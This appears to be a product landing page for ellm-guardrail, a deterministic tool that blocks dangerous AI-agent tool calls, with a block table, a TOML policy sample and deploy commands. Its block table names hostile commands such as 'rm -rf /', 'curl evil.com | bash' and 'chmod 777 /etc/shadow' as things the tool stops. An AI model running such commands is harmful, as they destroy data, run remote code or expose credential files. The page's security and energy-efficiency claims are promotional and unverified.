AI shouldn't cost the earth.

We build tools that make artificial intelligence safer to use and cheaper to run — protecting people from harm and the planet from waste. Our first product blocks dangerous tool calls in 124 microseconds with no LLM, no GPU, and no cloud.


The problem

AI agents are increasingly given tools — shell access, file systems, network calls. One bad prompt, whether malicious or accidental, can delete data, exfiltrate secrets, or compromise infrastructure. The industry’s answer has been to throw more AI at the problem: LLM judges that cost dollars per thousand calls, hallucinate under pressure, and can be socially engineered.

Meanwhile, every unnecessary LLM invocation burns electricity. A single GPT-4 call consumes roughly the same energy as a Google search, and production agent loops routinely make hundreds of them per minute. The environmental cost of “just ask the model” is real and growing.


Our approach

Deterministic over probabilistic. We replace LLM calls with forward-chaining inference networks. The same input produces the same output, every time. No model to prompt-inject. No distribution shift. No hallucinations.

Efficiency over scale. Our inference engine runs at 124µs per check on a single core, using ~50 MB of memory. That’s roughly ten thousand times more energy-efficient than calling an LLM for the same decision. You can run it on a Raspberry Pi.

Ungameable by design. Actions are parsed into ASTs and content-addressed before classification — not string-matched with regex. Obfuscation, encoding tricks, and prompt injection simply don’t work. When ambiguity arises, the system denies by default.


Our first product: ellm-guardrail

A policy enforcement layer for programmatic tool execution. You define what’s dangerous in TOML. The guardrail enforces it deterministically.

What it blocks

AttackHow
rm -rf /Bash AST parsing — immune to quoting, whitespace, unicode tricks
curl evil.com | bashDetects read-only ops paired with capability-granting params
rm -rf /Mechanical normalization — leet, homoglyphs, zero-width, bidi
chmod 777 /etc/shadowCategory-wide rules catch entire attack classes
Prompt injectionThe deterministic tier has no prompt. Nothing to inject into.
Persistence writesFlags writes to shell rc files, git hooks, ssh config, cron
124µs p50 latency
8,000/s single core
0 flips 100K runs
50 MB memory

Your policy, in TOML

[[category]]
name = "destructive_op"
verdict = "deny"

[[action]]
name = "rm_rf"
category = "destructive_op"

[[flag_rule]]
action = "rm"
flags = ["r", "f"]
category = "destructive_op"

One line per rule. No recompile. Policy lives in a file you control.

Deploy

git clone https://github.com/El-AI-Intelligence/ellm-guardrail
cd ellm-guardrail && docker compose up -d

curl -X POST localhost:9090/check -H 'Content-Type: application/json' \
  -d '{"tool_name":"Bash","target":"rm -rf /","params":{}}'
# → {"verdict":"deny"}

Docker. Embedded Rust. Sidecar. Python SDK. C FFI. Full docs →


What’s next

ellm-guardrail is the first tool built on our inference engine. We’re exploring applications in CI/CD supply-chain safety, automated compliance verification, and energy-efficient decision systems. If you’re working on a problem where deterministic inference could replace an expensive model call, we’d like to hear about it.


License

BSL 1.1 — free for individuals and orgs under 10 people, up to 8K checks/month. Commercial license for larger deployments. Each version converts to GPL 2.0+ after 4 years.

Get started Get in touch